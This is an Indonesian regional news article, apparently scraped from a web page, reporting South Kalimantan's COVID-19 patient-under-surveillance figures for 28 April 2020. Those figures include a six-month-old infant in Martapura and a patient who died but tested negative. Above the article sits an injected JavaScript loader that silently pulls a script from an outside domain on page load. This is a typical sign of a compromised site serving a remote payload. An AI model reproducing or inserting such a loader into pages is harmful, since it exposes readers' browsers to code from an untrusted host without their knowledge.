(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: HEADLINE

Satu PDP Balita dari Banjarbaru Dirawat di RS Ratu Zalecha Martapura

KANALKALIMANTAN.COM, BANJARBARU – Tim Gugus Tugas Percepatan Penanganan (P2) Covid-19 Kalsel mengungkapkan ada penambahan pasien dalam pengawasan (PDP) Covid-19, menjadi 20 pasien. Penambahan sebanyak 5 pasien, masing-masing 2 pasien dari Kota Banjarmasin, isolasi mandiri di Banjarmasin ada 2 orang, dan 1 pasien asal Banjarbaru yang dirawat di RSUD Ratu Zalecha Martapura.

Jika diakumulasikan, jumlah PDP yang dirawat di antaranya 4 pasien di RSUD Ulin Banjarmasin, 4 pasien di RSUD Hasan Basry Kandangan, 3 pasien di RSUD Moch. Ansari Saleh Banjarmasin, 2 pasien di RSUD Ratu Zalecha Martapura, dan 1 pasien di RS Sultan Suriansyah.

“Kemudian ada 1 pasien di RS Suaka Insan Banjarmasin, isolasi mandiri di Banjarmasin ada 4 orang dan isolasi mandiri di Balangan sebanyak 1 orang,” ucap Juru Bicara Tim Gugus Tugas P2 Covid-19 Kalsel Muhammad Muslim di Banjarbaru, Selasa (28/4/2020) sore.

Muslim merincikan PDP tambahan yang menjalani perawatan maupun isolasi mandiri. Pertama, di RSUD Ulin Banjarmasin, PDP tambahan dengan kode Ulin-72, seorang perempuan berusia 36 tahun asal Banjarmasin, kondisinya dilaporkan stabil.

“Yang ketiga MAS-21 (dirawat di RSUD Moch. Ansari Saleh Banjarmasin) kondisinya stabil,” kata Muslim.
Kemudian, penambahan PDP yang menjalani isolasi mandiri dari Banjarmasin, dengan kode IMB-3 dan IMB-4, kondisinya dilaporkan stabil. Yaitu, pasien dengan kode IMB-3 seorang perempuan berusia 28 tahun dan IMB-4, juga seorang perempuan berusia 31 tahun.

Muslim mengakui, 1 PDP yang dirawat di RSUD Ratu Zalecha merupakan bayi berusia 6 bulan, dengan kode RZ-3. “Ini merupakan bayi berusia 6 bulan, seorang perempuan dari Banjarbaru, kondisinya mengalami sesak nafas, demam dan lemah,” lugas Muslim.

Kepala Dinas Kesehatan Provinsi Kalsel ini juga menambahkan, ada satu PDP yang meninggal dunia, dengan kode pasien Ulin-71. PDP ini berasal dari Provinsi Kalimantan Tengah dan dirujuk ke RSUD Ulin Banjarmasin.

“Hasil PCR (polymerase chain reaction) pada pagi tadi sudah disampaikan, yaitu Ulin-71, laki-laki berusia 41 tahun. PDP ini hasil PCR-nya negatif Covid-19,” pungkas Muslim. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell